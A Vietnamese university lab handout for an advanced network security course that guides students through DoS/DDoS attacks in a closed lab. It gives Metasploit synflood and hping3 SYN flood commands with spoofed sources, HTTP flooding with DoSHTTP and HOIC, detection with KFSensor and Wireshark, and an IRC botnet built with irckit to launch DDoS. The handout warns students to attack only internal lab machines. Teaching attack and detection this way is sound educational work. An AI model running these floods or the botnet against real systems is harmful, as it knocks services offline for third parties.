You are on page 1of 16

Bộ môn An toàn Thông tin – Khoa MMT&TT - UIT

3
Lab

Tấn công từ chối dịch vụ


DoS/DDoS
DoS/DDoS Attack

Thực hành An toàn Mạng máy tính nâng cao


GVTH: Nguyễn Thanh Hòa

Tháng 4/2018
Lưu hành nội bộ
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

2
A. TỔNG QUAN
1. Mục tiêu
▪ Tìm hiểu DoS và DDoS
▪ Thực hành tấn công DoS/DDoS
▪ Thực hành phát hiện và phân tích các vụ tấn công DoS trên máy nạn nhân
▪ Vai trò của Botnet trong các vụ tấn công từ chối dịch vụ
2. Kiến thức nền tảng
Sinh viên xem file tham khảo đính kèm mô tả chi tiết về các loại tấn công DoS/DDoS
3. Môi trường – công cụ
▪ 1 máy ảo Kali Linux
▪ 1 máy Attacker (Windows)
▪ 1 máy Victim (Windows)
▪ Các gói công cụ khác (cụ thể trong từng bài).

B. THỰC HÀNH
1. SYN Flooding một Target Host bằng Metasploit
a) Môi trường thực hành:

• Host Machine chạy Windows Server 2012

• Máy ảo chạy Kali Linux (Attacker)

• Máy ảo chạy Windows 8.1 (Victim) có cài Wireshark.

b) Nội dung thực hành

• Bước 1: Quét lớp mạng để tìm ip của victim bằng công cụ nmap. Gõ lệnh:

nmap -sP [Lớp mạng/Subnet Mark]

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

3
• Bước 2: Xác định cổng 4444 đóng hay mở. Dùng nmap để kiểm tra tình trạng

của cổng này. Gõ lệnh: nmap –p 4444 [IP_Windows_8.1_Machine]

• Bước 3: Do cổng 4444 đã mở, chúng ta sẽ bắt đầu thực hiện SYN Flooding trên

máy Victim. Sử dụng module synflood để thực hiện tấn công DoS. Mở module này

từ msfconsole.

Trước khi khởi động msfconsole, lưu ý bật postgresql service:

service postgresql start

• Bước 4: Gõ lệnh msfconsole từ màn hình terminal để khởi động msfconsole

• Bước 5: Gõ lệnh use auxiliary/dos/tcp/synflood và Enter

• Bước 6: Tiếp theo, chúng ta cần chỉ định thiết lập các tùy chọn cho các module

để bắt đầu thực hiện tấn công DoS. Gõ lệnh show options sau đó Enter. Màn

hình sẽ hiện thị các tùy chọn cho module auxiliary

Chúng ta sẽ thiết lập:

set RHOST [IP_of_Windows_8.1]

set RPORT 4444

set SHOST [IP_of_Windows_Server_2012]

Lưu ý: SHOST chính là địa chỉ IP của attacker giả mạo để tấn công

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

4
• Bước 7: Gõ lệnh exploit để tấn công DoS

• Bước 8: Kiểm tra Wireshark và Task Manager ở máy Victim trước và sau khi thực

hiện tấn công

Yêu cầu: Quay lại Video quá trình thực hiện tấn công, có thể tùy biến lại các thông số khác

2. SYN Flooding sử dụng hping3


a) Môi trường thực hành:

• Máy ảo chạy Windows 8.1 (Victim)

• Máy ảo Kali Linux (Attacker)

• Công cụ Wireshark cho máy ảo Windows 8.1

b) Nội dung thực hành

• Bước 1: Gõ lệnh:

hping3 -c 10000 -d 120 -S -w 64 -p 4444 --flood --rand-source [IP_of_Windows_8.1]

Trong đó:

▪ -c 1000 là số packet sẽ gửi đi

▪ -d 120 là kích thước của gói tin gửi đi

▪ -S là gửi gói tin SYS

▪ -w 64 TCP window size

▪ -p 4444 là port target bị tấn công

▪ --flood là tùy chọn tấn công không quan tâm tới replies của target

▪ --rand-source là tùy chọn nhằm random địa chỉ IP giả mạo để tấn công

▪ [IP_of_target] là địa chỉ IP của target

• Bước 2: Quan sát Wireshark và Task Manager trên máy tính nạn nhân ta nhận
được kết quả sau:

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

5
Task Manager:

Wireshark:

Yêu cầu: Quay lại Video quá trình thực hiện tấn công gồm ít nhất 3 kịch bản với các thông

số khác nhau của công cụ hping3. Kiểm tra, so sánh kết quả và nhận xét trong báo cáo.

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

6
3. HTTP Flooding sử dụng công cụ DoSHTTP
a) Môi trường thực hành:
• Máy ảo chạy Windows 8.1 (Victim)

• Máy ảo Windows Server 2012 (Attacker)

• Công cụ Wireshark cho máy ảo Windows 8.1

• Công cụ DoSHTTP cho máy ảo Windows Server 2012

b) Nội dung thực hành


• Bước 1: Mở port 80 của máy tính Windows 8.1
• Bước 2: Ở máy tính Windows Server 2012 chúng ta mở công cụ DoSHTTP
• Bước 3: Nhập địa chỉ vào ô Target URL, và điều chỉnh các thông số cho hợp lý

• Bước 4: Nhấn nút Start Flood trên công cụ DoSHTTP và quan sát máy target:
• Bước 5: Nhấn nút Stop và xem report của công cụ
Yêu cầu: Quay lại Video quá trình thực hiện tấn công và đánh giá kết quả sau khi tấn công

Tìm hiểu và thực nghiệm tấn công HTTP Flooding với công cụ HOIC (High Orbit Ion

Cannon) - https://sourceforge.net/projects/highorbitioncannon/ hoặc XOIC và các công cụ

khác tương tự. So sánh hiệu quả, mức độ nguy hiểm vào báo cáo.

Chú ý: Chỉ thực hiện trên các máy tính nội bộ trong kịch bản đã thiết lập, tuyệt đối không
được sử dụng các website thực tế làm mục tiêu.

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

7
4. Phát hiện và phân tích lưu lượng tấn công DoS bằng KFSensor và Wireshark.
a) Môi trường thực hành:
• Máy ảo chạy Windows 8.1 (Victim)

• Máy ảo Kali Linux (Attacker)

• Công cụ KFSensor, Wireshark cho máy ảo Windows 8.1

b) Nội dung thực hành


• Bước 1: Cài đặt KFSensor trên máy Victim
• Dowload KFSensor từ trang chủ: http://www.keyfocus.net/kfsensor/

• Chạy tệp tin cài đặt, tiến hành nhập các thông số cần thiết và cài đặt

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

8
• Bước 2: Thiết lập cấu hình cho KFSensor
• Chọn Settings  Set Up Wizard... ở menu để mở hộp thoại cấu hình

chương trình

• Hộp thoại Set Up Wizard mở ra, chọn Next

• Giữ các thiếp lập mặc định ở phần Set Up Winzard - Port Classes và nhấn Next

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

9
• Nhấn Next

• Giữ nguyên phần Domain Name ở phần Set Up Wizard - Domain và

nhấn Next

• Nhập email gửi và nhận thông báo của chương trình vào ô Send to và

Send from

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

10
• Ở hộp thoại Set Up Wizard - Options ta thiết lập Nomal cho mục Denial

Of Service Options, thiết lập Enable packet dump files cho mục Network

Protocol Analyzer. Các thiết lập này (Cautions và Enable packet dump

files) sẽ được sử dụng trong trường hợp bị tấn công DoS

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

11
• Giữ nguyên thiết lập ở phần Set Up Wizard - Systems Service và nhấn

Next

• Nhấn Finish ở hộp thoại Set Up Wizard - Finish

• Bước 3: Sau khi cài đặt xong cấu hình, chúng ta chọn FTP ở mục TCP lúc ở màn
hình chính

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

12
• Bước 4: Tấn công DoS vào máy nạn nhân ở port FTP (21)
• Dùng công cụ nmap trên máy Kali Linux để scan cổng FTP trên máy nạn

nhân có mở hay không:

• Theo như trên hình ta thấy cổng FTP trên máy nạn nhân mở

• Tiếp theo chúng ta sẽ dùng công cụ bất kỳ để tấn công DoS cổng 21 trên

máy tính nạn nhân, ví dụ dùng hping3 để tấn công

• Bước 5: Xem kết quả trên máy tính nạn nhân, chúng ta nhận thấy KFSensor đã
hiện ra thông báo bị tấn công DoS và gửi email đến người dùng

• Chúng ta có thể nhấn đúp vào các thông báo gói xem thông tin chi tiết về

cuộc tấn công

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

13
• Chuột phải vào thông báo chọn Create Visitor Rule... để thiếp lập các rule

phù hợp

Yêu cầu: Quay lại Video quá trình thực hiện tấn công và dùng KFSensor để phát hiện.

5. Xây dựng mạng Botnet thiết lập tấn công DDoS


a) Môi trường thực hành:
• Máy ảo chạy Windows 8.1 (Victim)

• 3 Máy ảo Ubuntu (bot, attacker)

- Cài đặt các gói cần thiết cho máy ảo Ubuntu

• sudo apt-get install python-pip libevent-dev python-all-dev

• sudo pip install irckit

• sudo pip install greenlet

• sudo pip install gevent

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

14
- Source code irckit và file pdf hướng dẫn:

• https://media.readthedocs.org/pdf/irckit/latest/irckit.pdf

• https://github.com/coleifer/irc

- Lưu ý:

• Nếu chạy file worker bị lỗi "ImportError: No module named dns" thì xóa

dòng "from gevent.dns import DNSError" để thực thi được

• Tham khảo các lệnh thực thi trên ở trong file irckit.pdf

b) Nội dung thực hành


• Bước 1: Chạy file boss.py trên máy boss để tạo channel trên freenode.net để điều
kiển các worker. Gõ lệnh: python boss.py -c 15520089 -n boss -x abc
+ Trong đó:

-c là tên channel

-n là nick name của boss

-x dùng để chứng thực có phải boss hay không

• Bước 2: Chạy file worker.py trên các máy worker để kết nối với boss. Gõ lệnh:
python worker.py -n worker0 -b boss
+ Trong đó:

-n là nick name của woker

-b là tên boss cần kết nối

• Bước 3: Kiểm tra các kết nối trên máy boss

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

15
• Bước 4: Vào trang freenode.net để đăng nhập vào channel

• Bước 5: Chứng thực người điều kiển là boss trên trang freenode.net. Gõ lệnh:
!auth abc

• Bước 6: Xây dựng kịch bản tấn công DDoS. Ví dụ: Download file liên tục từ một
server có sẵn bằng lượng lớn worker
Yêu cầu: Xây dựng kịch bản tấn công DDoS từ mạng botnet và quay lại video quá trình

thực hiện tấn công.

C. YÊU CẦU & ĐÁNH GIÁ


1. Yêu cầu
▪ Sinh viên tìm hiểu và thực hành theo hướng dẫn. Có thể thực hiện theo nhóm
(2 sinh viên/nhóm) hoặc thực hiện cá nhân. Đăng ký nhóm cố định từ buổi 1.
▪ Sinh viên báo cáo kết quả thực hiện và nộp bài bằng Video trình bày chi tiết
quá trình thực hành

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn
Lab 3: Tấn công Từ chối dịch vụ DoS/DDoS

16
+ Quay lại quá trình thực hiện Lab của sinh viên kèm mô tả/giải thích quá
trình thực hành.
+ Upload lên Google Drive và chèn link vào đầu báo cáo theo mẫu (lưu ý share
quyền xem). Không upload lên YouTube và chia sẻ công khai. Các nội dung có yêu
cầu nhận xét, đánh giá nếu không thể hiện trực tiếp tại Video thì có thể trình
bày trong báo cáo thực hành
Đặt tên file báo cáo theo định dạng như mẫu:
[Mã lớp]-LabX_MSSV1-Tên SV1_MSSV2 –Tên SV2
Ví dụ: [NT101.I11.1]-Lab1_14520000-Viet_14520999-Nam.

Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.
Nộp báo cáo trên theo thời gian đã thống nhất tại website môn học.

2. Đánh giá:
Sinh viên hiểu và tự thực hiện được bài thực hành, khuyến khích:
▪ Chuẩn bị môi trường thực hành trước và đóng góp tích cực tại lớp.
▪ Báo cáo trình bày chi tiết, giải thích các bước thực hiện và chứng minh được
do nhóm sinh viên thực hiện.
▪ Có nội dung mở rộng, ứng dụng trong kịch bản phức tạp hơn, có đóng góp
xây dựng bài thực hành.
Lưu ý: Bài sao chép, nộp trễ, “gánh team”, … sẽ được xử lý tùy mức độ.

D. THAM KHẢO
[1] Tài liệu tham khảo Lab 3 đính kèm
HẾT

BỘ MÔN THỰC HÀNH AN TOÀN MẠNG MÁY TÍNH NÂNG CAO


AN TOÀN THÔNG TIN GVTH: NGUYỄN THANH HÒA – hoant@uit.edu.vn

You might also like